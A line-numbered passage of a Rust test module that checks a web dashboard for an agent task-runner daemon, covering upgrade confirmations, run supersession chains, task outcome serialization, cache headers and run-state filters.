19743 assert!(!resume_requested(Some("0".into())));
19744 assert!(!resume_requested(Some("".into())));
19745 assert!(resume_requested(Some("1".into())));
19746 }
19747
19748 #[test]
19749 fn the_upgrade_button_arms_before_it_restarts_anything() {
19750 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
19753 assert!(APP_JS.contains("Replace the binary and restart?"));
19754 assert!(APP_JS.contains("function confirmed("));
19755 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
19760 assert!(
19764 APP_JS.contains("Parking, then restarting"),
19765 "the button says what it is waiting for"
19766 );
19767 assert!(APP_JS.contains("if (!out.to)"));
19770 }
19771
19772 #[test]
19773 fn stopping_the_loop_arms_but_starting_does_not() {
19774 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
19777 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
19778 assert!(APP_JS.contains("confirmed(button, question)"));
19779 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
19782 assert!(APP_JS.contains("const label = btn.textContent;"));
19783 assert!(!APP_JS.contains("Neither direction is guarded"));
19784 }
19785
19786 #[test]
19787 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
19788 assert!(
19789 APP_JS.contains("state.health.version"),
19790 "the operator wants to know what is running even with nothing newer"
19791 );
19792 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
19793 }
19794
19795 #[test]
19796 fn the_upgrade_button_names_its_destination() {
19797 assert!(
19798 APP_JS.contains("`Update to ${update.to}`"),
19799 "pressing the button should not be a surprise about what it moves to"
19800 );
19801 }
19802
19803 #[test]
19804 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
19805 for stage in ["downloading", "replaced", "parking", "restarting"] {
19806 assert!(
19807 APP_JS.contains(&format!("\"{stage}\"")),
19808 "the phone must be able to tell {stage} apart from the others"
19809 );
19810 }
19811 assert!(APP_JS.contains(".waiting_on"));
19812 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
19817 assert!(APP_JS.contains("reconnects on its own"));
19818 }
19819
19820 #[test]
19821 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
19822 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
19831 ..APP_JS.find("function upgrade(").expect("upgrade")];
19832 assert!(
19833 !body.contains(
19834 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
19835 ),
19836 "a failed upgrade must not take the whole strip over the way it used to"
19837 );
19838 assert!(
19839 body.contains("upgradeFailNote"),
19840 "the failure has to reach the loop's own note instead"
19841 );
19842 assert_eq!(
19846 body.matches("upgradeFailNote].filter(Boolean).join")
19847 .count(),
19848 2,
19849 "both loop-why writers (quiet and control) must fold the note in"
19850 );
19851 }
19852
19853 #[test]
19854 fn an_overdue_upgrade_eventually_asks_for_a_human() {
19855 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
19858 assert!(APP_JS.contains("function upgradeOverdue("));
19859 }
19860
19861 #[test]
19862 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
19863 assert!(
19864 APP_JS.contains("Updated to ${upgradeInfo.to"),
19865 "the operator who asked for the restart wants to know it worked"
19866 );
19867 }
19868
19869 #[test]
19870 fn an_error_is_visible_from_where_the_button_is() {
19871 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
19876 ..APP_CSS.find(".alert-text").expect(".alert-text")];
19877 assert!(
19878 alert.contains("position: fixed"),
19879 "an error about the thing under your thumb has to be visible from \
19880 where your thumb is: {alert}"
19881 );
19882 assert!(
19883 alert.contains("z-index: 25"),
19884 "above the dock (20) and the run-actions FAB (15), so neither \
19885 buries it: {alert}"
19886 );
19887 assert!(
19888 alert.contains("var(--tap)"),
19889 "and clear of the dock and the home indicator: {alert}"
19890 );
19891 assert!(
19894 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
19895 "the FAB's column stays free: {alert}"
19896 );
19897 }
19898
19899 #[tokio::test]
19900 async fn an_older_attempt_says_what_replaced_it() {
19901 let fx = Fixture::start().await;
19902 let q = fx.queue();
19903 let runs = fx.runs();
19904 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
19905 write_run(&runs, first, RunStatus::Stalled);
19906 write_run(&runs, second, RunStatus::Blocked);
19907
19908 let mut t = Task::new(
19909 "one task".to_owned(),
19910 "do it".to_owned(),
19911 PathBuf::from("/repo"),
19912 Source::Human,
19913 );
19914 t.runs = vec![first.to_owned(), second.to_owned()];
19915 q.put(&mut t).expect("put");
19916
19917 let rows = fx.get("/api/runs").await.json();
19921 let by = |short: &str| -> Value {
19922 rows.as_array()
19923 .unwrap()
19924 .iter()
19925 .find(|r| r["short"] == short)
19926 .cloned()
19927 .unwrap_or(Value::Null)
19928 };
19929 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
19930 assert!(
19931 by("bbbb")["superseded_by"].is_null(),
19932 "the latest attempt is not superseded by anything"
19933 );
19934 assert!(APP_JS.contains("run.superseded_by"));
19936 assert!(APP_JS.contains("Superseded by"));
19937 }
19938
19939 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
19940 let mut t = Task::new(
19941 "one task".to_owned(),
19942 "do it".to_owned(),
19943 PathBuf::from("/repo"),
19944 Source::Human,
19945 );
19946 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
19947 t.status = status;
19948 t
19949 }
19950
19951 #[test]
19952 fn source_link_picks_the_page_that_filed_the_task() {
19953 let agent = |node: &str| Source::Agent {
19954 run: "20260904-014455-ab12".to_owned(),
19955 node: node.to_owned(),
19956 };
19957 let chat = source_link(&agent("chat")).expect("chat link");
19958 assert_eq!(chat.kind, "chat");
19959 assert_eq!(chat.id, "20260904-014455-ab12");
19960 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
19961 let run = source_link(&agent("implement")).expect("run link");
19962 assert_eq!(
19963 (run.kind, run.href.as_str()),
19964 ("run", "#/runs/20260904-014455-ab12")
19965 );
19966 assert_eq!(source_link(&Source::Human), None);
19967 assert_eq!(
19968 source_link(&Source::Issue {
19969 number: 3,
19970 repo: "o/r".to_owned()
19971 }),
19972 None
19973 );
19974 let odd = source_link(&Source::Agent {
19975 run: "a b/c".to_owned(),
19976 node: "chat".to_owned(),
19977 })
19978 .expect("link");
19979 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
19980 }
19981
19982 #[test]
19983 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
19984 assert!(
19985 !APP_JS.contains("src.node === \"chat\""),
19986 "inline href rule is back"
19987 );
19988 assert!(
19989 APP_JS.matches("sourceLinkOf(").count() >= 4,
19990 "helper must serve every page"
19991 );
19992 assert!(
19993 APP_JS.matches("openChatLink(").count() >= 3,
19994 "the run page still needs its explicit chat link"
19995 );
19996 assert!(
19997 !APP_JS.contains("const openChat = el("),
19998 "the Queue card duplicates its source label link again"
19999 );
20000 assert!(
20001 APP_JS.contains("metaKids.push(link ? el(\"a\""),
20002 "the task page must link a chat source label too"
20003 );
20004 }
20005
20006 #[test]
20007 fn task_ref_carries_the_source_link_for_a_chat_task() {
20008 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
20009 t.source = Source::Agent {
20010 run: "20260904-014455-ab12".to_owned(),
20011 node: "chat".to_owned(),
20012 };
20013 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
20014 let v = serde_json::to_value(&out).expect("json");
20015 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
20016 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
20017 assert_eq!(v["source_label"], t.source.label());
20018
20019 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
20020 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
20021 .expect("json");
20022 assert!(v["source_link"].is_null(), "{v}");
20023 }
20024
20025 #[test]
20026 fn task_view_serializes_source_link() {
20027 let mut t = Task::new(
20028 "t".to_owned(),
20029 "t".to_owned(),
20030 PathBuf::from("/repo"),
20031 Source::Agent {
20032 run: "20260901-000000-aaaa".to_owned(),
20033 node: "implement".to_owned(),
20034 },
20035 );
20036 t.runs.clear();
20037 let v = serde_json::to_value(TaskView::from(t)).expect("json");
20038 assert_eq!(v["source_link"]["kind"], "run", "{v}");
20039 assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
20040 }
20041
20042 #[test]
20043 fn task_view_serializes_urgent_flag() {
20044 let mut t = Task::new(
20045 "t".to_owned(),
20046 "t".to_owned(),
20047 PathBuf::from("/repo"),
20048 Source::Human,
20049 );
20050 let v = serde_json::to_value(TaskView::from(t.clone())).expect("json");
20051 assert_eq!(v["urgent"], false, "{v}");
20052 t.urgent = true;
20053 let v = serde_json::to_value(TaskView::from(t)).expect("json");
20054 assert_eq!(v["urgent"], true, "{v}");
20055 assert!(APP_JS.contains("task.urgent === true"));
20056 }
20057
20058 #[tokio::test]
20059 async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
20060 let fx = Fixture::start().await;
20061 let runs = fx.runs();
20062 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
20063 write_run(&runs, old, RunStatus::Blocked);
20064 write_run(&runs, new, RunStatus::Merged);
20065 let mut t = outcome_task(&[old, new], TaskStatus::Done);
20066 fx.queue().put(&mut t).expect("put");
20067
20068 let view = fx.get(&format!("/api/runs/{old}")).await.json();
20069 let task = &view["task"];
20070 assert_eq!(task["status"], "done");
20071 assert_eq!(task["is_latest"], false);
20072 assert_eq!(task["latest"]["short"], "bbbb");
20073 assert_eq!(task["finished_by"]["id"], new);
20074 assert_eq!(task["finished_by"]["outcome"], "merged");
20075 assert_eq!(task["closed_by_hand"], false);
20076 assert_eq!(view["status"], "blocked", "the run keeps its own status");
20077 assert!(APP_JS.contains("finished_by"));
20078 assert!(APP_JS.contains("superseded by run"));
20079 }
20080
20081 #[tokio::test]
20082 async fn the_latest_run_reports_a_held_task_without_a_successor() {
20083 let fx = Fixture::start().await;
20084 let runs = fx.runs();
20085 let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
20086 write_run(&runs, old, RunStatus::Stalled);
20087 write_run(&runs, new, RunStatus::Blocked);
20088 let mut t = outcome_task(&[old, new], TaskStatus::Held);
20089 fx.queue().put(&mut t).expect("put");
20090
20091 let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
20092 assert_eq!(task["status"], "held");
20093 assert_eq!(task["is_latest"], true);
20094 assert!(task["latest"].is_null());
20095 assert!(task["finished_by"].is_null());
20096 assert_eq!(task["closed_by_hand"], false);
20097 }
20098
20099 #[tokio::test]
20100 async fn a_direct_run_has_no_task_outcome() {
20101 let fx = Fixture::start().await;
20102 let runs = fx.runs();
20103 let id = "20260901-000000-aaaa";
20104 write_run(&runs, id, RunStatus::Blocked);
20105 let view = fx.get(&format!("/api/runs/{id}")).await.json();
20106 assert!(view["task"].is_null());
20107 }
20108
20109 #[test]
20110 fn task_outcome_does_not_guess_a_finishing_run() {
20111 let a = "20260901-000000-aaaa";
20112 let b = "20260901-000000-bbbb";
20113 let c = "20260901-000000-cccc";
20114 let dir = tempfile::tempdir().expect("tempdir");
20115 write_run(dir.path(), a, RunStatus::Blocked);
20116 write_run(dir.path(), b, RunStatus::VerifiedNoop);
20117 let read = |id: &str| read_run(dir.path(), id).ok();
20119 let t = outcome_task(&[a, b, c], TaskStatus::Done);
20122 let out = task_outcome(&t, a, 3, read);
20123 assert!(out.finished_by.is_none());
20124 assert!(out.closed_by_hand);
20125 let latest = out.latest.expect("latest");
20126 assert_eq!(latest.id, c);
20127 assert_eq!(latest.status, None);
20128 assert_eq!(latest.outcome, "record unreadable");
20129
20130 write_run(dir.path(), c, RunStatus::Ready);
20132 let t = outcome_task(&[a, c], TaskStatus::Done);
20133 let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
20134 assert_eq!(out.finished_by.expect("finisher").id, c);
20135 assert!(!out.closed_by_hand);
20136
20137 let t = outcome_task(&[a, b, a], TaskStatus::Held);
20139 assert!(task_outcome(&t, a, 3, read).is_latest);
20140 }
20141
20142 #[tokio::test]
20143 async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
20144 let fx = Fixture::start().await;
20149 let q = fx.queue();
20150 let runs = fx.runs();
20151 let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
20152 write_run(&runs, first, RunStatus::Blocked);
20153 write_run(&runs, second, RunStatus::Merged);
20154
20155 let mut t = Task::new(
20156 "one task".to_owned(),
20157 "do it".to_owned(),
20158 PathBuf::from("/repo"),
20159 Source::Human,
20160 );
20161 t.runs = vec![first.to_owned(), second.to_owned()];
20162 q.put(&mut t).expect("put");
20163
20164 let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
20165 assert_eq!(earlier["superseded_by"], "dddd");
20166 assert_eq!(earlier["latest_attempt"]["id"], second);
20167 assert_eq!(earlier["latest_attempt"]["short"], "dddd");
20168 assert_eq!(
20169 earlier["latest_attempt"]["resolved"], true,
20170 "the run that replaced it landed, so this one reads as settled"
20171 );
20172
20173 let later = fx.get(&format!("/api/runs/{second}")).await.json();
20174 assert!(
20175 later["superseded_by"].is_null(),
20176 "the latest attempt is not superseded by anything"
20177 );
20178 assert!(
20179 later["latest_attempt"].is_null(),
20180 "the latest attempt has no later attempt of its own"
20181 );
20182
20183 assert!(APP_JS.contains("run.latest_attempt"));
20190 assert!(APP_JS.contains("data-superseded"));
20191 assert!(APP_JS.contains("#/runs/${latest.id}"));
20192 }
20193
20194 #[tokio::test]
20195 async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
20196 let fx = Fixture::start().await;
20202 let q = fx.queue();
20203 let runs = fx.runs();
20204 let (a, b, c) = (
20205 "20260901-000000-aaaa",
20206 "20260901-000000-bbbb",
20207 "20260901-000000-cccc",
20208 );
20209 write_run(&runs, a, RunStatus::Blocked);
20210 write_run(&runs, b, RunStatus::Blocked);
20211 write_run(&runs, c, RunStatus::Merged);
20212
20213 let mut t = Task::new(
20214 "retried twice".to_owned(),
20215 "do it".to_owned(),
20216 PathBuf::from("/repo"),
20217 Source::Human,
20218 );
20219 t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
20220 q.put(&mut t).expect("put");
20221
20222 let view = fx.get(&format!("/api/runs/{a}")).await.json();
20223 assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
20224 assert_eq!(
20225 view["latest_attempt"]["id"], c,
20226 "the chain's current head, not the intermediate Blocked retry"
20227 );
20228 assert_eq!(view["latest_attempt"]["resolved"], true);
20229
20230 let mid = fx.get(&format!("/api/runs/{b}")).await.json();
20231 assert_eq!(mid["latest_attempt"]["id"], c);
20232 assert_eq!(mid["latest_attempt"]["resolved"], true);
20233 }
20234
20235 #[tokio::test]
20236 async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
20237 let fx = Fixture::start().await;
20238 let q = fx.queue();
20239 let runs = fx.runs();
20240
20241 let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
20244 write_run(&runs, still_blocked_a, RunStatus::Blocked);
20245 write_run(&runs, still_blocked_b, RunStatus::Blocked);
20246 let mut t1 = Task::new(
20247 "still stuck".to_owned(),
20248 "do it".to_owned(),
20249 PathBuf::from("/repo"),
20250 Source::Human,
20251 );
20252 t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
20253 q.put(&mut t1).expect("put");
20254 let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
20255 assert_eq!(view1["latest_attempt"]["resolved"], false);
20256 assert_eq!(view1["latest_attempt"]["status"], "blocked");
20257 assert_eq!(view1["latest_attempt"]["done"], true);
20258
20259 let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
20261 write_run(&runs, run_a, RunStatus::Blocked);
20262 write_run(&runs, run_b, RunStatus::Implementing);
20263 let mut t3 = Task::new(
20264 "retrying".to_owned(),
20265 "do it".to_owned(),
20266 PathBuf::from("/repo"),
20267 Source::Human,
20268 );
20269 t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
20270 q.put(&mut t3).expect("put");
20271 let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
20272 assert_eq!(view3["latest_attempt"]["id"], run_b);
20273 assert_eq!(view3["latest_attempt"]["resolved"], false);
20274 assert_eq!(view3["latest_attempt"]["done"], false);
20275
20276 let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
20281 write_run(&runs, noop_a, RunStatus::Blocked);
20282 write_run(&runs, noop_b, RunStatus::VerifiedNoop);
20283 let mut t2 = Task::new(
20284 "claims done".to_owned(),
20285 "do it".to_owned(),
20286 PathBuf::from("/repo"),
20287 Source::Human,
20288 );
20289 t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
20290 q.put(&mut t2).expect("put");
20291 let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
20292 assert_eq!(
20293 view2["latest_attempt"]["resolved"], false,
20294 "an unverified no-op claim must not read as a confirmed finish"
20295 );
20296
20297 assert!(APP_JS.contains("latest.resolved"));
20300 assert!(APP_JS.contains("successorNote(latest, inFlight)"));
20303 assert!(APP_JS.contains("Latest attempt: "));
20304 assert!(APP_JS.contains("in flight"));
20305 assert!(APP_JS.contains("not resolved"));
20306 }
20307
20308 #[tokio::test]
20309 async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
20310 let fx = Fixture::start().await;
20311 let js = fx.get("/app.js").await;
20317 assert_eq!(js.status, 200);
20318 let tag = js
20319 .header("etag")
20320 .expect("an etag to revalidate against")
20321 .to_owned();
20322 assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
20323 assert_eq!(
20324 js.header("cache-control"),
20325 Some("no-cache, must-revalidate"),
20326 "the phone has to ask every time"
20327 );
20328
20329 let again = fx
20332 .get_with("/app.js", &[("if-none-match", tag.as_str())])
20333 .await;
20334 assert_eq!(
20335 again.status, 304,
20336 "a deck it already has costs one round trip"
20337 );
20338 assert!(again.body.is_empty(), "304 carries no body");
20339
20340 let weak = fx
20343 .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
20344 .await;
20345 assert_eq!(weak.status, 304);
20346 let stale = fx
20347 .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
20348 .await;
20349 assert_eq!(stale.status, 200, "an older build must be replaced");
20350 assert!(stale.body.contains("renderRunActions"));
20351 }
20352
20353 #[test]
20354 fn the_task_detail_has_an_actions_fab_and_sheet() {
20355 assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
20356 assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
20357 assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
20358 assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
20360 assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
20361 assert!(APP_JS.contains("renderTaskActions(task);"));
20363 assert!(APP_JS.contains("renderTaskActions(null);"));
20364 let sheet = APP_JS
20366 .find("function renderTaskActions")
20367 .expect("sheet renderer");
20368 let body = &APP_JS[sheet..sheet + 3000];
20369 assert!(body.contains("changePriority("));
20370 assert!(body.contains("openTaskEdit(task)"));
20371 assert!(body.contains("renderTaskHoldBox(host"));
20372 assert!(body.contains("renderTaskDoneBox(host"));
20373 assert!(body.contains("renderTaskDeleteBox(host"));
20374 assert!(APP_JS.contains("API.priority(id)"));
20375 assert!(APP_JS.contains("API.deleteTask(id)"));
20376 assert!(APP_JS.contains("location.hash = \"#/queue\""));
20378 assert!(APP_JS.contains("$(\"task-actions-error\")"));
20380 }
20381
20382 #[test]
20383 fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
20384 let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
20385 let actions = INDEX_HTML
20386 .find("id=\"run-actions-box\"")
20387 .expect("actions box");
20388 assert!(task < actions, "the task entry comes first in the sheet");
20389 assert!(APP_JS.contains("renderRunTaskEntry"));
20390 assert!(APP_JS.contains("\"Open task \""));
20391 assert!(APP_JS.contains("started directly, no task"));
20393 assert!(APP_JS.contains("sheet-task-link"));
20394 assert!(APP_JS.contains("task-chip-link"));
20395 }
20396
20397 #[test]
20398 fn the_deck_never_sends_the_operator_to_a_terminal() {
20399 assert!(
20402 !APP_JS.contains("Run `magi fold` first"),
20403 "the deck must offer the fold, not prescribe a shell command"
20404 );
20405 assert!(APP_JS.contains("foldRun:"));
20406 assert!(APP_JS.contains("resumeRun:"));
20407 assert!(APP_JS.contains("renderRunActions"));
20408
20409 assert!(APP_JS.contains("armedFold"));
20411 assert!(APP_JS.contains("Yes, fold worktrees"));
20412
20413 assert!(APP_JS.contains("can no longer be resumed"));
20416 }
20417
20418 #[test]
20419 fn a_finished_run_explains_itself_with_its_own_last_line() {
20420 assert!(
20426 !APP_JS.contains("collapsed on agent quota"),
20427 "a stall must not be explained by a cause the deck did not check"
20428 );
20429 assert!(
20430 !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
20431 "and a block must not offer a guess with an `or` in it"
20432 );
20433
20434 assert!(
20438 APP_JS.contains("setText(r.event, run.event || \"\")"),
20439 "the run's last line is rendered unconditionally"
20440 );
20441 assert!(
20442 !APP_JS.contains("moving && run.event"),
20443 "and never gated on the run still moving"
20444 );
20445
20446 assert!(APP_JS.contains("lost to quota"));
20448 }
20449
20450 #[test]
20472 fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
20473 let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
20474 let shapes_body_start =
20475 APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
20476 let shapes_close = APP_JS[shapes_body_start..]
20477 .find("].map(")
20478 .expect("the shape list is closed by its done-computing .map(...)")
20479 + shapes_body_start;
20480 let shapes_src = &APP_JS[shapes_body_start..shapes_close];
20481
20482 let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
20483 for entry in shapes_src.split('{').skip(1) {
20484 let waiting = entry.contains("waiting: true");
20485 let dead = entry.contains("live: \"dead\"");
20486 let status_at =
20487 entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
20488 let status_end = entry[status_at..]
20489 .find('"')
20490 .expect("the status string is closed")
20491 + status_at;
20492 let parked = entry.contains("display_status: \"parked\"");
20493 shapes.push((
20494 waiting,
20495 entry[status_at..status_end].to_string(),
20496 dead,
20497 parked,
20498 ));
20499 }
20500 assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
20501
20502 let done_rule_marker = "done: !";
20506 let done_rule_at = APP_JS[shapes_close..]
20507 .find(done_rule_marker)
20508 .expect("the done rule follows the shape list")
20509 + shapes_close
20510 + done_rule_marker.len();
20511 let includes_at = APP_JS[done_rule_at..]
20512 .find(".includes(shape.status)")
20513 .expect("the done rule ends in .includes(shape.status)")
20514 + done_rule_at;
20515 let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
20516 .trim()
20517 .trim_start_matches('[')
20518 .trim_end_matches(']')
20519 .split(',')
20520 .map(|s| s.trim().trim_matches('"'))
20521 .filter(|s| !s.is_empty())
20522 .collect();
20523
20524 let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
20525 .into_iter()
20526 .map(|(waiting, status, dead, parked)| {
20527 let done = !not_done.contains(&status.as_str());
20528 (waiting, status, dead, parked, done)
20529 })
20530 .collect();
20531
20532 fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
20536 if waiting {
20537 return "waiting";
20538 }
20539 if dead
20540 && !parked
20541 && !matches!(
20542 status,
20543 "merged"
20544 | "ready"
20545 | "stalled"
20546 | "blocked"
20547 | "failed"
20548 | "verified_noop"
20549 | "superseded"
20550 | "already_in_base"
20551 )
20552 {
20553 return "stale";
20554 }
20555 match status {
20556 "merged" | "ready" => "landed",
20557 "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
20558 | "already_in_base" => "ended",
20559 _ => "flight",
20560 }
20561 }
20562
20563 fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
20566 match filter_key {
20567 "active" => !done,
20568 "flight" => !done && !waiting && !dead,
20569 "stale" => !done && !waiting && dead,
20570 "waiting" => waiting,
20571 "done" => done,
20572 "all" => true,
20573 other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
20574 }
20575 }
20576
20577 let compatible = |section: &str, filter_key: &str| {
20578 shapes.iter().any(|(waiting, status, dead, parked, done)| {
20579 run_section(*waiting, status, *dead, *parked) == section
20580 && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
20581 })
20582 };
20583
20584 let expected = [
20589 ("waiting", [true, false, false, true, true, true]),
20590 ("stale", [true, false, true, false, false, true]),
20591 ("flight", [true, true, false, false, false, true]),
20592 ("landed", [false, false, false, false, true, true]),
20593 ("ended", [false, false, false, false, true, true]),
20594 ];
20595 let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
20596
20597 for (section, wants) in expected {
20598 for (filter_key, want) in filter_keys.iter().zip(wants) {
20599 assert_eq!(
20600 compatible(section, filter_key),
20601 want,
20602 "section {section:?} x filter {filter_key:?} should be compatible: {want}"
20603 );
20604 }
20605 }
20606
20607 assert!(
20610 APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
20611 );
20612 assert!(APP_JS.contains(
20613 "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
20614 ));
20615 assert!(APP_JS.contains(
20616 "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
20617 ));
20618 }
20619
20620 #[tokio::test]
20621 async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
20622 let dir = tempfile::tempdir().expect("tempdir");
20626 let explicit = dir.path().join("not-a-checkout");
20627 std::fs::create_dir_all(&explicit).expect("create dir");
20628 assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
20629
20630 let missing = dir.path().join("does-not-exist-at-all");
20631 assert_eq!(normalize_default_repo(missing.clone()).await, missing);
20632 }
20633
20634 #[test]
20635 fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
20636 assert!(APP_JS.contains("function statsDonutArcs"));
20637 assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
20638 assert!(APP_JS.contains("function statusInBucket"));
20640 assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
20641 assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
20642 let buckets = [
20643 "merged",
20644 "ready",
20645 "in_progress",
20646 "blocked",
20647 "failed",
20648 "verified_noop",
20649 "superseded",
20650 "stalled",
20651 ];
20652 for key in buckets {
20653 let var = format!("--verdict-{key}:");
20654 assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
20656 assert!(
20657 APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
20658 "{key}"
20659 );
20660 }
20661 }
20662}